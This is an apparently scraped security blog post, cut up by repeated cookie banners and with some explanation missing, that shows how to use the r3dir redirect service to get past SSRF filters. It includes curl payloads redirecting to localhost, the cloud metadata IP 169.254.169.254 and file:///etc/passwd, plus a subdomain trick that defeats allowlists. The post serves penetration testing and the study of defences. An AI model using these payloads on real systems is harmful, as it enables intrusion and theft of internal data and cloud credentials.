Bypassing SSRF Filters Using r3dir

Application Security Jun 21

This site uses cookies to provide you with a great user experience. By continuing to use our website, you consent to the use of cookies. To find out more about the cookies we use, please see our Privacy Policy.

Accept

Server-side request forgery (also known as SSRF) is a type of web security vulnerability that enables attackers to trick the server-side application into making requests to an unintended location. Attackers who exploit this vulnerability can cause the server to connect to services that are usually not intended to be accessed from external networks, such as internal-only services within the organization's infrastructure.

With the increasing use of third-party APIs and services integration, SSRF vulnerabilities have become more prevalent. In response, SSRF has taken its place in *OWASP Top 10:2021* and developers must implement mitigations.

In this post, we demonstrate how to use the `r3dir` tool to bypass some SSRF filters. `r3dir` is a public (hosted on r3dir.me) and convenient redirection service made for SSRF filter bypasses and has the following features:

- Define the redirection target via URL parameters or subdomains
- Control HTTP response status codes
- Bypass certain weak allowlist filters
- Support CORS preflight requests for headless browser redirects
- Integrates with BurpSuite

Getting started

Take a look at this filter example written in Python, the main goal of which is to allow only those URLs that point to external IPs:

```
from urllib.parse import urlparse
import requests
import socket
import ipaddress

def is_external(domain):
    ip = socket.gethostbyname(domain)
    return ipaddress.ip_address(ip).is_global

def get_content(url):
    if is_external(urlparse(url).hostname):
        return requests.get(url).content
    raise Exception("URL points to an internal resource")
```

This site uses cookies to provide you with a great user experience. By continuing to use our website, you consent to the use of cookies. To find out more about the cookies we use, please see our Privacy Policy.

Accept

This site uses cookies to provide you with a great user experience. By continuing to use our website, you consent to the use of cookies. To find out more about the cookies we use, please see our Privacy Policy.

Accept

This site uses cookies to provide you with a great user experience. By continuing to use our website, you consent to the use of cookies. To find out more about the cookies we use, please see our Privacy Policy.

Accept

This site uses cookies to provide you with a great user experience. By continuing to use our website, you consent to the use of cookies. To find out more about the cookies we use, please see our Privacy Policy.

Accept

no option to verify the IP address of a URL that will be taken from the HTTP redirection response.

This means that if an attacker hosts a simple web server with a redirect to an internal resource (e.g., `localhost` or `169.254.169.254`), they will bypass the filter and obtain the response from the internal resource, which in essence leads to an SSRF! Usually, a pentester would need to host the redirect themselves. However, with r3dir you can do perform a redirect in this way:

```
curl "https://302.r3dir.me/--to/?url=http://localhost" -v
# Results into:
#
# HTTP/1.1 302 Found
# Location: http://localhost
```

URL scheme limitations bypass

Developers can enforce usage only HTTPS URLs to ensure that only secure connections are performed by the application. Nevertheless, like in the previous example, usually the check is performed against user input only and you can bypass the limitation with the help of HTTP redirection.

Below is an example of `https://` scheme check:

```
from urllib.parse import urlparse
import requests
import socket
import ipaddress

def is_https(url):
    return urlparse(url).scheme == "https"

def get_content(url):
    if is_https(url):
        return requests.get(url).content
    raise Exception("URL points to an internal resource")
```

An ability to bypass such scheme limitations is extremely useful because most internal services, including cloud providers metadata, communicate via HTTP. In addition, some HTTP clients may perform not only HTTP and HTTPS requests but also work with other schemes.

```
curl "https://302.r3dir.me/--to/?url=http://169.254.169.254" -v
# Results into:
#
# HTTP/1.1 302 Found
# Location: http://169.254.169.254
```

This site uses cookies to provide you with a great user experience. By continuing to use our website, you consent to the use of cookies. To find out more about the cookies we use, please see our Privacy Policy.

Accept

```
curl "https://302.r3dir.me/--to/?url=file:///etc/passwd" -v
# Results into:
#
# HTTP/1.1 302 Found
# Location: file:///etc/passwd
```

```
from urllib.parse import urlparse
import requests
import socket
import ipaddress

def get_domain(url):
    return urlparse(url).hostname

def check_webhook(url):
    if domain := get_domain(url):
        return requests.get(f"https://{domain}:8080/").content
    raise Exception("Missing hostname")
```

```
$ r3dir encode http://localhost:8888
62epax54k4z4o2wubwlx57p374.302.r3dir.me
```

This site uses cookies to provide you with a great user experience. By continuing to use our website, you consent to the use of cookies. To find out more about the cookies we use, please see our Privacy Policy.

Accept

```
curl "http://accounts.google.com.--.62epax54k4z4o2wubwlx57p374.302.r3dir.me" -v
# Results into:
#
# HTTP/1.1 302 Found
# Location: http://localhost:8888
```

```
curl "http://accounts.google.com.--.62epax54k4z4o2wubwlx57p374.302.r3dir.me/webhook?query=value" -v
# Results into:
#
# HTTP/1.1 302 Found
# Location: http://localhost:8888
```

```
import requests

def health_request(hostname):
    return requests.post(f"https://{hostname}/check", json = {"health": true}).content
```

```
POST /check HTTP/1.1
Host: localhost
User-Agent: python-requests/2.28.2
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 16
Content-Type: application/json

{"health": true}
```

This site uses cookies to provide you with a great user experience. By continuing to use our website, you consent to the use of cookies. To find out more about the cookies we use, please see our Privacy Policy.

Accept

r3dir | web applications | ssrf | bypass | owasp top 10 | penetration testing | application security | filter | server side request forgery | owasp | cybersecurity

This site uses cookies to provide you with a great user experience. By continuing to use our website, you consent to the use of cookies. To find out more about the cookies we use, please see our Privacy Policy.

Accept